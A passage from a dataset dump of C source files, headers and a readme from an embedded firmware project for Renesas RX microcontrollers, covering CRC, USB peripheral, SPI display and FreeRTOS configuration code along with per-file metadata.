uint32_t data_bytes, uint16_t * const crc_out)\n{\n /* Loop variable. */\n uint32_t i;\n /* Used for CRC calculation. */\n uint16_t crc_read;\n\n /* Check to make sure peripheral has been initialized. */\n if (g_crc_enabled == false)\n {\n /* Must initialize peripheral first. */\n return false;\n }\n\n /* Grab state to make sure we do not interfere with another operation. */\n if (crc_acquire_state() != true)\n {\n /* Another operation is already in progress */\n return false;\n }\n \n /* Seed CRC */\n CRC.CRCDOR = seed; \n \n /* Compute CRC-16 on data */\n for(i = 0; i < data_bytes; i++)\n {\n /* Update CRC value */\n CRC.CRCDIR = data[i];\n }\n\n /* Check generated CRC versus stored */\n crc_read = CRC.CRCDOR;\n \n /* Release state so other operations can be performed. */\n crc_release_state();\n\n#if defined(CRC_CFG_POLY_X8_X2_X_1)\n /* If 8-bit CRC is used then only the low order byte of CRCDOR is updated. Mask off top byte to make sure nothing\n is there. */\n crc_read = (crc_read & 0x00FF);\n#endif\n\n /* Store CRC reading into output pointer. */\n *crc_out = crc_read;\n\n return true; \n} \n\n/***********************************************************************************************************************\n* Function Name: crc_acquire_state\n* Description : Attempt to acquire the state so that we right to perform an operation.\n* Arguments : none\n* Return Value : true - \n* Lock was obtained\n* false - \n* Lock was not obtained because code is busy with another on-going operation.\n***********************************************************************************************************************/\nstatic bool crc_acquire_state (void)\n{\n /* Attempt to acquire lock. */\n return R_BSP_HardwareLock(BSP_LOCK_CRC); \n}\n\n/***********************************************************************************************************************\n* Function Name: crc_release_state\n* Description : Release lock so that other operations can be performed.\n* Arguments : none\n* Return Value : none\n***********************************************************************************************************************/\nstatic void crc_release_state (void)\n{\n /* Release lock. */\n R_BSP_HardwareUnlock(BSP_LOCK_CRC); \n}\n\n/***********************************************************************************************************************\n* Function Name: R_CRC_GetVersion\n* Description : Returns the current version of this module. The version number is encoded where the top 2 bytes are the\n* major version number and the bottom 2 bytes are the minor version number. For example, Version 4.25 \n* would be returned as 0x00040019.\n* Arguments : none\n* Return Value : Version of this module.\n***********************************************************************************************************************/\n#pragma inline(R_CRC_GetVersion)\nuint32_t R_CRC_GetVersion (void)\n{\n /* These version macros are defined in r_cmt_rx_if.h. */\n return ((((uint32_t)CRC_RX_VERSION_MAJOR) << 16) | (uint32_t)CRC_RX_VERSION_MINOR);\n} \n\n" }, { "alpha_fraction": 0.5845785737037659, "alphanum_fraction": 0.6323968768119812, "avg_line_length": 17.670454025268555, "blob_id": "e06f3c5ce1c7442f4bbfc16ee89cf2d8a56414bb", "content_id": "1c0aea1e0f7cdf015765585787c1b831daeadba2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 1673, "license_type": "no_license", "max_line_length": 113, "num_lines": 88, "path": "/r_tmr_rx/readme.txt", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "PLEASE REFER TO THE APPLICATION NOTE FOR THIS MIDDLEWARE FOR MORE INFORMATION\n\nDocument Number \n---------------\nR01AN1856EU0241\n\nVersion\n-------\nv2.41\n\nOverview\n--------\nThis module creates a timer tick using a CMT channel based on a frequency input by the user.\n\nFeatures\n--------\n* Create periodic or one-shot timer easily by passing in desired frequency/period\n* User is alerted through callback function\n* CMT channels are allocated dynamically.\n\nSupported MCUs\n--------------\n* RX621, RX62N Group\n* RX62T Group\n* RX630 Group\n* RX631, RX63N Group \n* RX210 Group\n* RX110 Group\n* RX111 Group\n* RX113 Group\n* RX64M Group\n\n\nBoards Tested On\n----------------\n* RSKRX62T\n* RDKRX62N\n* RSKRX630\n* RSKRX63N\n* RDKRX63N\n* RSKRX210\n* RSKRX110\n* RSKRX111\n* RSKRX113\n* RSKRX64M\n\nLimitations\n-----------\n* None\n\nPeripherals Used Directly\n-------------------------\n* CMT\n\nRequired Packages\n-----------------\n* None\n\nHow to add to your project\n--------------------------\n* Add src\\r_cmt_rx.c to your project.\n* Add an include path to the 'r_cmt_rx' directory. \n* Add an include path to the 'r_cmt_rx\\src' directory.\n* Copy r_cmt_rx_config_reference.h from 'ref' directory to your desired location and rename to r_cmt_rx_config.h.\n* Configure middleware through r_cmt_rx_config.h.\n* Add a #include for r_cmt_rx_if.h to any source files that need to use the API functions.\n\nToolchain(s) Used\n-----------------\n* Renesas RX v2.02\n\nFile Structure\n--------------\nr_cmt_rx\n| readme.txt\n| r_cmt_rx_if.h\n|\n+---doc\n| r01an1856eu0241_rx.pdf\n|\n+---ref\n| r_cmt_rx_config_reference.h\n|\n\\---src\n r_cmt_rx.c\n \nr_config\n r_cmt_rx_config.h\n \n \n" }, { "alpha_fraction": 0.40225517749786377, "alphanum_fraction": 0.41213732957839966, "avg_line_length": 47.72222137451172, "blob_id": "50fb623b2959adac51404056d363583dad6003bb", "content_id": "572ae992829730ee473e78be6672181022c4d16e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 7893, "license_type": "no_license", "max_line_length": 120, "num_lines": 162, "path": "/r_usb_basic/src/driver/peri/r_usb_pstdfunction.c", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/***********************************************************************************************************************\n* DISCLAIMER\n* This software is supplied by Renesas Electronics Corporation and is only intended for use with Renesas products. No\n* other uses are authorized. This software is owned by Renesas Electronics Corporation and is protected under all\n* applicable laws, including copyright laws.\n* THIS SOFTWARE IS PROVIDED \"AS IS\" AND RENESAS MAKES NO WARRANTIES REGARDING\n* THIS SOFTWARE, WHETHER EXPRESS, IMPLIED OR STATUTORY, INCLUDING BUT NOT LIMITED TO WARRANTIES OF MERCHANTABILITY,\n* FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT. ALL SUCH WARRANTIES ARE EXPRESSLY DISCLAIMED. TO THE MAXIMUM\n* EXTENT PERMITTED NOT PROHIBITED BY LAW, NEITHER RENESAS ELECTRONICS CORPORATION NOR ANY OF ITS AFFILIATED COMPANIES\n* SHALL BE LIABLE FOR ANY DIRECT, INDIRECT, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES FOR ANY REASON RELATED TO THIS\n* SOFTWARE, EVEN IF RENESAS OR ITS AFFILIATES HAVE BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.\n* Renesas reserves the right, without notice, to make changes to this software and to discontinue the availability of\n* this software. By using this software, you agree to the additional terms and conditions found by accessing the\n* following link:\n* http://www.renesas.com/disclaimer\n*\n* Copyright (C) 2014(2015) Renesas Electronics Corporation. All rights reserved.\n***********************************************************************************************************************/\n/***********************************************************************************************************************\n* File Name : r_usb_pStdFunction.c\n* Description : USB Peripheral standard function code\n***********************************************************************************************************************/\n/**********************************************************************************************************************\n* History : DD.MM.YYYY Version Description\n* : 04.01.2014 1.00 First Release\n* : 30.01.2015 1.01 Added RX71M.\n***********************************************************************************************************************/\n\n/******************************************************************************\nIncludes <System Includes> , \"Project Includes\"\n******************************************************************************/\n#include \"r_usb_basic_if.h\"\n#include \"r_usb_reg_access.h\"\n\n\n#if (USB_FUNCSEL_USBIP0_PP == USB_PERI_PP) || (USB_FUNCSEL_USBIP1_PP == USB_PERI_PP)\n\n/******************************************************************************\nExternal variables and functions\n******************************************************************************/\nvoid usb_pstd_SetStallPipe0( USB_UTR_t *ptr );\n\n/******************************************************************************\nRenesas Abstracted Peripheral standard function functions\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : usb_pstd_SetFeatureFunction\nDescription : Process a SET_FEATURE request.\nArguments : USB_UTR_t *ptr : USB system internal structure.\nReturn value : none\n******************************************************************************/\nvoid usb_pstd_SetFeatureFunction(USB_UTR_t *ptr)\n{\n /* Request error */\n usb_pstd_SetStallPipe0(ptr);\n}\n/******************************************************************************\nEnd of function usb_pstd_SetFeatureFunction\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : usb_pstd_ChkVbsts\nDescription : Return the VBUS status.\nArguments : USB_UTR_t *ptr : USB system internal structure.\nReturn : uint16_t connection status(ATTACH/DETACH)\n******************************************************************************/\nuint16_t usb_pstd_ChkVbsts(USB_UTR_t *ptr)\n{\n uint16_t buf1, buf2, buf3;\n uint16_t connect_info;\n\n /* VBUS chattering cut */\n do\n {\n buf1 = usb_creg_read_intsts( ptr );\n usb_cpu_Delay1us((uint16_t)10);\n buf2 = usb_creg_read_intsts( ptr );\n usb_cpu_Delay1us((uint16_t)10);\n buf3 = usb_creg_read_intsts( ptr );\n }\n while( ((buf1 & USB_VBSTS) != (buf2 & USB_VBSTS))\n || ((buf2 & USB_VBSTS) != (buf3 & USB_VBSTS)) );\n\n /* VBUS status judge */\n if( (buf1 & USB_VBSTS) != (uint16_t)0 )\n {\n /* Attach */\n connect_info = USB_ATTACH;\n }\n else\n {\n /* Detach */\n connect_info = USB_DETACH;\n }\n return connect_info;\n}\n/******************************************************************************\nEnd of function usb_pstd_ChkVbsts\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : usb_pstd_AttachFunction\nDescription : Processing for attach detect.(Waiting time of stabilize VBUS.)\nArguments : USB_UTR_t *ptr : USB system internal structure.\nReturn value : none\n******************************************************************************/\nvoid usb_pstd_AttachFunction(USB_UTR_t *ptr)\n{\n /* Delay about 10ms(Waiting time of stabilize VBUS.) */\n usb_cpu_DelayXms((uint16_t)10);\n}\n/******************************************************************************\nEnd of function usb_pstd_AttachFunction\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : usb_pstd_BusresetFunction\nDescription : Processing for USB bus reset detection.\nArguments : USB_UTR_t *ptr : USB system internal structure.\nReturn value : none\n******************************************************************************/\nvoid usb_pstd_BusresetFunction(USB_UTR_t *ptr)\n{\n}\n/******************************************************************************\nEnd of function usb_pstd_BusresetFunction\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : usb_pstd_SuspendFunction\nDescription : Processing for suspend signal detection.\nArguments : USB_UTR_t *ptr : USB system internal structure.\nReturn value : none\n******************************************************************************/\nvoid usb_pstd_SuspendFunction(USB_UTR_t *ptr)\n{\n}\n/******************************************************************************\nEnd of function usb_pstd_SuspendFunction\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : usb_pstd_InitFunction\nDescription : Call function that checks VBUS status.\nArguments : USB_UTR_t *ptr : USB system internal structure.\nReturn value : none\n******************************************************************************/\nuint16_t usb_pstd_InitFunction(USB_UTR_t *ptr)\n{\n /* Wait USB_VBSTS */\n return usb_pstd_ChkVbsts( ptr );\n}\n/******************************************************************************\nEnd of function usb_pstd_InitFunction\n******************************************************************************/\n\n#endif /* (USB_FUNCSEL_USBIP0_PP == USB_PERI_PP) || (USB_FUNCSEL_USBIP1_PP == USB_PERI_PP) */\n\n/******************************************************************************\nEnd Of File\n******************************************************************************/\n" }, { "alpha_fraction": 0.5959855914115906, "alphanum_fraction": 0.634928822517395, "avg_line_length": 26.471698760986328, "blob_id": "a04a20ca27129bd9e9641723d7171192fa10b2de", "content_id": "c44b10f1962b30940555317e5427f23ea1d4d3ff", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 5829, "license_type": "no_license", "max_line_length": 115, "num_lines": 212, "path": "/src/Display/u8g_com_rx_st7920_hw_spi.c", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/*\n \n u8g_com_rx_st7920_hw_spi.c\n \n Additional COM device, initially introduced for 3D Printer community\n Implements a fast SW SPI com subsystem\n\n Universal 8bit Graphics Library\n \n Copyright (c) 2011, [email protected]\n All rights reserved.\n\n Redistribution and use in source and binary forms, with or without modification, \n are permitted provided that the following conditions are met:\n\n * Redistributions of source code must retain the above copyright notice, this list \n of conditions and the following disclaimer.\n \n * Redistributions in binary form must reproduce the above copyright notice, this \n list of conditions and the following disclaimer in the documentation and/or other \n materials provided with the distribution.\n\n THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND \n CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, \n INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF \n MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE \n DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR \n CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, \n SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT \n NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; \n LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER \n CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, \n STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) \n ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF \n ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. \n\n A special SPI interface for ST7920 controller\n\n Update for ATOMIC operation done (01 Jun 2013)\n U8G_ATOMIC_OR(ptr, val)\n U8G_ATOMIC_AND(ptr, val)\n U8G_ATOMIC_START();\n U8G_ATOMIC_END();\n\n\n*/\n\n#include \"platform.h\"\n#include \"u8g.h\"\n#include \"r_rspi_rx_if.h\"\n#include \"FreeRTOS.h\"\n#include \"task.h\"\n\nstatic rspi_handle_t handle;\nvolatile uint8_t g_rspi_callbackend = 0;\nextern xTaskHandle task_main_handle;\n\nstatic void rspi_callback(void *p_arg);\n\nstatic uint8_t u8g_rx_st7920_hw_spi_shift_out(u8g_t *u8g, uint8_t val)\n{\n\trspi_command_word_t command;\n\tcommand.cpha = RSPI_SPCMD_CPHA_SAMPLE_EVEN;\n\tcommand.cpol = RSPI_SPCMD_CPOL_IDLE_HI;\n\tcommand.bit_order = RSPI_SPCMD_ORDER_MSB_FIRST;\n\tcommand.bit_length = RSPI_SPCMD_BIT_LENGTH_8;\n\tcommand.br_div = RSPI_SPCMD_BR_DIV_1;\n\tR_RSPI_Write(handle,command,&val,sizeof(val));\n\twhile(!g_rspi_callbackend);\n\tg_rspi_callbackend = 0;\n//\tulTaskNotifyTake( pdTRUE, portMAX_DELAY );\n\n return 0;\n}\n\n\nstatic void u8g_com_rx_st7920_write_byte_hw_spi_seq(u8g_t *u8g, uint8_t rs, uint8_t *ptr, uint8_t len)\n{\n uint8_t i;\n\n if ( rs == 0 )\n {\n /* command */\n u8g_rx_st7920_hw_spi_shift_out(u8g, 0x0f8);\n }\n else if ( rs == 1 )\n {\n /* data */\n u8g_rx_st7920_hw_spi_shift_out(u8g, 0x0fa);\n }\n\n while( len > 0 )\n {\n u8g_rx_st7920_hw_spi_shift_out(u8g, *ptr & 0x0f0);\n u8g_rx_st7920_hw_spi_shift_out(u8g, *ptr << 4);\n ptr++;\n len--;\n u8g_10MicroDelay();\n }\n\n for( i = 0; i < 1; i++ )\n u8g_10MicroDelay();\n}\n\nstatic void u8g_com_rx_st7920_write_byte_hw_spi(u8g_t *u8g, uint8_t rs, uint8_t val)\n{\n uint8_t i;\n\n if ( rs == 0 )\n {\n /* command */\n u8g_rx_st7920_hw_spi_shift_out(u8g, 0x0f8);\n }\n else if ( rs == 1 )\n {\n /* data */\n u8g_rx_st7920_hw_spi_shift_out(u8g, 0x0fa);\n }\n else\n {\n /* do nothing, keep same state */\n }\n\n u8g_rx_st7920_hw_spi_shift_out(u8g, val & 0x0f0);\n u8g_rx_st7920_hw_spi_shift_out(u8g, val << 4);\n\n for( i = 0; i < 1; i++ )\n u8g_10MicroDelay();\n}\n\nuint8_t u8g_com_rx_hw_spi_fn(u8g_t *u8g, uint8_t msg, uint8_t arg_val, void *arg_ptr)\n{\n\t/* Conditions: Channel not yet open. */\n\tuint8_t chan = 0;\n\trspi_chnl_settings_t my_config;\n\trspi_cmd_baud_t my_setbaud_struct;\n\trspi_err_t rspi_result;\n\n\n\t switch(msg)\n\t {\n\t case U8G_COM_MSG_INIT:\n\t \tmy_config.gpio_ssl = RSPI_IF_MODE_3WIRE;\n\t \tmy_config.master_slave_mode = RSPI_MS_MODE_MASTER;\n\t \tmy_config.bps_target = 1000000; // Bit rate in bits-per-second.\n\t \trspi_result = R_RSPI_Open(chan, &my_config, rspi_callback, &handle );\n\t \tif (RSPI_SUCCESS != rspi_result)\n\t \t{\n\t \t\twhile(1);\n\t \t}\n\t \tmy_setbaud_struct.bps_target = 1000000;\n\t \trspi_result = R_RSPI_Control(handle, RSPI_CMD_SET_BAUD, &my_setbaud_struct);\n\t \tif (RSPI_SUCCESS != rspi_result)\n\t \t{\n\t \t\twhile(1);\n\t \t}\n\n\t break;\n\t case U8G_COM_MSG_STOP:\n\t break;\n\n\t case U8G_COM_MSG_CHIP_SELECT:\n\t if ( arg_val == 0 )\n\t {\n\t /* disable, note: the st7920 has an active high chip select */\n\t \tLCD_CS = 0;\n\t }\n\t else\n\t {\n\t /* enable */\n\t \tLCD_CS = 1;\n\t }\n\t break;\n\n\n\t case U8G_COM_MSG_WRITE_BYTE:\n\t \t u8g_com_rx_st7920_write_byte_hw_spi(u8g, u8g->pin_list[U8G_PI_A0_STATE], arg_val);\n\t break;\n\t case U8G_COM_MSG_WRITE_SEQ:\n\t u8g_com_rx_st7920_write_byte_hw_spi_seq(u8g, u8g->pin_list[U8G_PI_A0_STATE], (uint8_t *)arg_ptr, arg_val);\n\t break;\n\t case U8G_COM_MSG_WRITE_SEQ_P:\n\t {\n\t register uint8_t *ptr = arg_ptr;\n\t while( arg_val > 0 )\n\t {\n\t u8g_com_rx_st7920_write_byte_hw_spi(u8g, u8g->pin_list[U8G_PI_A0_STATE], u8g_pgm_read(ptr) );\n\t // u8g->pin_list[U8G_PI_A0_STATE] = 2;\n\t ptr++;\n\t arg_val--;\n\t }\n\t }\n\t break;\n\n\t case U8G_COM_MSG_ADDRESS: /* define cmd (arg_val = 0) or data mode (arg_val = 1) */\n\t u8g->pin_list[U8G_PI_A0_STATE] = arg_val;\n\t break;\n\t }\n\t return 1;\n}\n\nvoid rspi_callback(void *p_arg)\n{\n\tg_rspi_callbackend = 1;\n// BaseType_t xHigherPriorityTaskWoken;\n//\n// xHigherPriorityTaskWoken = pdFALSE;\n//\n// vTaskNotifyGiveFromISR( task_main_handle, &xHigherPriorityTaskWoken );\n//\n// portYIELD_FROM_ISR( xHigherPriorityTaskWoken );\n}\n\n\n\n\n\n" }, { "alpha_fraction": 0.5743986964225769, "alphanum_fraction": 0.5985867381095886, "avg_line_length": 59.818180084228516, "blob_id": "727cdd27d79578a120385f7305f235c0b220ef39", "content_id": "99d64aa6dbacecf69f00c3deda6c4c405b9bc847", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 7359, "license_type": "no_license", "max_line_length": 120, "num_lines": 121, "path": "/r_usb_basic/src/driver/inc/r_usb_api.h", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/***********************************************************************************************************************\n* DISCLAIMER\n* This software is supplied by Renesas Electronics Corporation and is only intended for use with Renesas products. No\n* other uses are authorized. This software is owned by Renesas Electronics Corporation and is protected under all\n* applicable laws, including copyright laws.\n* THIS SOFTWARE IS PROVIDED \"AS IS\" AND RENESAS MAKES NO WARRANTIES REGARDING\n* THIS SOFTWARE, WHETHER EXPRESS, IMPLIED OR STATUTORY, INCLUDING BUT NOT LIMITED TO WARRANTIES OF MERCHANTABILITY,\n* FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT. ALL SUCH WARRANTIES ARE EXPRESSLY DISCLAIMED. TO THE MAXIMUM\n* EXTENT PERMITTED NOT PROHIBITED BY LAW, NEITHER RENESAS ELECTRONICS CORPORATION NOR ANY OF ITS AFFILIATED COMPANIES\n* SHALL BE LIABLE FOR ANY DIRECT, INDIRECT, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES FOR ANY REASON RELATED TO THIS\n* SOFTWARE, EVEN IF RENESAS OR ITS AFFILIATES HAVE BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.\n* Renesas reserves the right, without notice, to make changes to this software and to discontinue the availability of\n* this software. By using this software, you agree to the additional terms and conditions found by accessing the\n* following link:\n* http://www.renesas.com/disclaimer\n*\n* Copyright (C) 2014(2015) Renesas Electronics Corporation. All rights reserved.\n***********************************************************************************************************************/\n/***********************************************************************************************************************\n* File Name : r_usb_api.h\n* Description : USB API header\n***********************************************************************************************************************/\n/**********************************************************************************************************************\n* History : DD.MM.YYYY Version Description\n* : 04.01.2014 1.00 First Release\n* : 30.01.2015 1.01 Support Multi device.\n***********************************************************************************************************************/\n\n/* $Id: r_usb_api.h 182 2012-05-29 07:26:03Z ssaek $ */\n\n#ifndef __R_USB_API_H__\n#define __R_USB_API_H__\n\n#include \"r_usb_ctypedef.h\"\n\n/*****************************************************************************\nPublic Functions (API)\n******************************************************************************/\n\n/* USB API (Host) */\nuint16_t R_usb_hstd_allocatePipe(USB_UTR_t *ptr, uint16_t type);\nvoid R_usb_hstd_freePipe(USB_UTR_t *ptr, uint8_t pipeno);\nUSB_ER_t R_usb_hstd_EnumGetDescriptor(USB_UTR_t *ptr, uint8_t addr, uint8_t cnt_value, USB_CB_t complete);\nUSB_ER_t R_usb_hstd_MgrEnumSetConfiguration(USB_UTR_t *ptr, uint8_t devadr, uint8_t config_val, USB_CB_t complete);\nUSB_ER_t R_usb_hstd_TransferStart(USB_UTR_t *utr_table);\nUSB_ER_t R_usb_hstd_SetPipeRegistration(USB_UTR_t *ptr, uint16_t *table, uint16_t pipe);\nUSB_ER_t R_usb_hstd_TransferEnd(USB_UTR_t *ptr, uint16_t pipe, uint16_t status);\nUSB_ER_t R_usb_hstd_ChangeDeviceState(USB_UTR_t *ptr, USB_CB_t complete, uint16_t msginfo, uint16_t member);\nUSB_ER_t R_usb_hstd_MgrOpen(USB_UTR_t *ptr);\nUSB_ER_t R_usb_hstd_MgrClose(void);\nvoid R_usb_hstd_DriverRegistration(USB_UTR_t *ptr, USB_HCDREG_t *callback);\nvoid R_usb_hstd_DriverRelease(USB_UTR_t *ptr, uint8_t devclass);\nuint16_t R_usb_hstd_ChkPipeInfo(uint16_t speed, uint16_t *EpTbl, uint8_t *Descriptor);\nvoid R_usb_hstd_SetPipeInfo(uint16_t *dst_ep_tbl, uint16_t *src_ep_tbl, uint16_t length);\nvoid R_usb_hstd_DeviceInformation(USB_UTR_t *ptr, uint16_t addr, uint16_t *tbl);\nvoid R_usb_hstd_ReturnEnuMGR(USB_UTR_t *ptr, uint16_t cls_result);\nvoid R_usb_hstd_EnuWait(USB_UTR_t *ptr, uint8_t taskID);\nuint16_t R_usb_hstd_DetachControl(uint16_t port);\nUSB_ER_t R_usb_hstd_HcdOpen(USB_UTR_t *ptr);\nUSB_ER_t R_usb_hstd_HcdClose(void);\n\n/* USB API (Peripheral) */\nuint16_t R_usb_pstd_ControlRead(USB_UTR_t *ptr, uint32_t Bsize, uint8_t *Table);\nvoid R_usb_pstd_ControlWrite(USB_UTR_t *ptr, uint32_t Bsize, uint8_t *Table);\nvoid R_usb_pstd_ControlEnd(USB_UTR_t *ptr, uint16_t status);\nUSB_ER_t R_usb_pstd_PcdOpen(USB_UTR_t *ptr);\nUSB_ER_t R_usb_pstd_PcdClose(USB_UTR_t *ptr);\nUSB_ER_t R_usb_pstd_TransferStart(USB_UTR_t *ptr);\nUSB_ER_t R_usb_pstd_TransferEnd(USB_UTR_t *ptr, uint16_t pipe, uint16_t status);\nUSB_ER_t R_usb_pstd_ChangeDeviceState(USB_UTR_t *ptr, uint16_t state, uint16_t port_no, USB_CB_t complete);\nvoid R_usb_pstd_DeviceInformation(USB_UTR_t *ptr, uint16_t *tbl);\nvoid R_usb_pstd_DriverRegistration(USB_UTR_t *ptr, USB_PCDREG_t *callback);\nvoid R_usb_pstd_DriverRelease(void);\nvoid R_usb_pstd_SetPipeRegister(USB_UTR_t *ptr, uint16_t PipeNo, uint16_t *tbl);\nvoid R_usb_pstd_SetPipeStall(USB_UTR_t *ptr, uint16_t pipeno);\nvoid R_usb_pstd_usbdriver_start( USB_UTR_t *ptr );\n\n/* USB API (Other) */\nvoid R_usb_cstd_ClearHwFunction(USB_UTR_t *ptr);\nvoid R_usb_cstd_UsbIpInit( USB_UTR_t *ptr, uint16_t usb_mode );\nuint8_t R_usb_cstd_CheckSchedule(void);\nvoid R_usb_ScheInit( void );\nUSB_REGADR_t R_usb_cstd_GetUsbIpAdr( uint16_t ipno );\nvoid R_usb_cstd_UsbIpInit( USB_UTR_t *ptr, uint16_t usb_mode );\nvoid R_usb_cstd_SetRegDvstctr0( USB_UTR_t *ptr, uint16_t val );\nvoid R_usb_cstd_SetRegPipeCtr( USB_UTR_t *ptr, uint16_t pipeno, uint16_t val );\nvoid R_usb_cstd_SetBuf(USB_UTR_t *ptr, uint16_t pipe);\n\n\n\nvoid R_usb_hhub_Open(USB_UTR_t *ptr, uint16_t devaddr, uint16_t data2);\nvoid R_usb_hhub_Close(USB_UTR_t *ptr, uint16_t hubaddr, uint16_t data2);\nvoid R_usb_hhub_Registration(USB_UTR_t *ptr, USB_HCDREG_t *callback);\nUSB_ER_t R_usb_hhub_ChangeDeviceState(USB_UTR_t *ptr, USB_CB_t complete, uint16_t msginfo, uint16_t devaddr);\nuint16_t R_usb_hhub_GetHubInformation(USB_UTR_t *ptr, uint16_t hubaddr, USB_CB_t complete);\nuint16_t R_usb_hhub_GetPortInformation(USB_UTR_t *ptr, uint16_t hubaddr, uint16_t port, USB_CB_t complete);\n\nuint16_t R_usb_hhub_get_hub_addr(USB_UTR_t *ptr, uint16_t devadr);\nuint16_t R_usb_hhub_get_hub_port_no(USB_UTR_t *ptr, uint16_t devadr);\nuint16_t R_usb_hhub_chk_connect_status(USB_UTR_t *ptr, uint16_t hub_adr);\n\nvoid R_usb_pstd_PcdTask(USB_VP_INT_t);\nvoid R_usb_hhub_Task(USB_VP_INT_t);\nvoid R_usb_hstd_MgrTask(USB_VP_INT_t);\nvoid R_usb_hstd_HcdTask(USB_VP_INT_t);\nvoid R_usb_hstd_HubRegistAll(USB_UTR_t *ptr);\n\n/* for NonOS Scheduler */\nUSB_ER_t R_usb_cstd_RecMsg( uint8_t id, USB_MSG_t** mess, USB_TM_t tm );\nUSB_ER_t R_usb_cstd_SndMsg( uint8_t id, USB_MSG_t* mess );\nUSB_ER_t R_usb_cstd_iSndMsg( uint8_t id, USB_MSG_t* mess );\nUSB_ER_t R_usb_cstd_PgetBlk( uint8_t id, USB_UTR_t** blk );\nUSB_ER_t R_usb_cstd_RelBlk( uint8_t id, USB_UTR_t* blk );\nvoid R_usb_cstd_Scheduler(void);\nvoid R_usb_cstd_SetTaskPri(uint8_t tasknum, uint8_t pri);\n\n\n#endif /* __R_USB_API_H__ */\n/******************************************************************************\nEnd Of File\n******************************************************************************/\n" }, { "alpha_fraction": 0.5046511888504028, "alphanum_fraction": 0.5221244692802429, "avg_line_length": 34.12141418457031, "blob_id": "af05b6431df5c4d9996f9caa084602fcd5deb3e0", "content_id": "223e762417e7b54618afb9cebe45d80c3921887c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 15910, "license_type": "no_license", "max_line_length": 133, "num_lines": 453, "path": "/src/config/config_kernel.c", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/*******************************************************************************\n* DISCLAIMER\n* This software is supplied by Renesas Electronics Corporation and is only\n* intended for use with Renesas products. No other uses are authorized. This\n* software is owned by Renesas Electronics Corporation and is protected under\n* all applicable laws, including copyright laws.\n* THIS SOFTWARE IS PROVIDED \"AS IS\" AND RENESAS MAKES NO WARRANTIES REGARDING\n* THIS SOFTWARE, WHETHER EXPRESS, IMPLIED OR STATUTORY, INCLUDING BUT NOT\n* LIMITED TO WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE\n* AND NON-INFRINGEMENT. ALL SUCH WARRANTIES ARE EXPRESSLY DISCLAIMED.\n* TO THE MAXIMUM EXTENT PERMITTED NOT PROHIBITED BY LAW, NEITHER RENESAS\n* ELECTRONICS CORPORATION NOR ANY OF ITS AFFILIATED COMPANIES SHALL BE LIABLE\n* FOR ANY DIRECT, INDIRECT, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES FOR\n* ANY REASON RELATED TO THIS SOFTWARE, EVEN IF RENESAS OR ITS AFFILIATES HAVE\n* BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.\n* Renesas reserves the right, without notice, to make changes to this software\n* and to discontinue the availability of this software. By using this software,\n* you agree to the additional terms and conditions found by accessing the\n* following link:\n* http://www.renesas.com/disclaimer\n* Copyright (C) 2014 Renesas Electronics Corporation\n* and Renesas Solutions Corp. All rights reserved.\n*******************************************************************************/\n/******************************************************************************\n* File Name : config_kernel.c\n* Version : 1.00\n* Device(s) : Renesas RX-Series\n* Tool-Chain : Renesas RX Standard Toolchain\n* OS : FreeRTOS V7.4.0\n* H/W Platform :\n* Description : FreeRTOS configuration\n******************************************************************************\n* History : DD.MM.YYYY Version Description\n* : 11.06.2013 0.50 First Release\n******************************************************************************/\n\n#ifdef FREE_RTOS_PP\n#include \"platform.h\"\n#include \"FreeRTOS.h\"\n#include \"task.h\"\n#include \"queue.h\"\n#include \"semphr.h\"\n\n\n#include \"ut_state.h\"\n\n#include \"r_usb_basic_if.h\"\n#include \"r_usb_hmsc_if.h\"\n#include \"r_flash_loader_rx_if.h\"\n#include \"ff.h\"\n\n#include \"plasma.h\"\n\nextern TaskHandle_t xCncTaskHandle;\n\n/******************************************************************************\nPrivate global variables and functions\n******************************************************************************/\n\n#if SOCKET_IF_USE_SEMP\nxSemaphoreHandle r_socket_semaphore;\n#endif\n\nxTaskHandle task_main_handle;\nxTaskHandle task_handle0;\nxTaskHandle task_handle1;\nxTaskHandle task_handle2;\nxTaskHandle task_handle3;\nxTaskHandle task_handle4;\nxTaskHandle 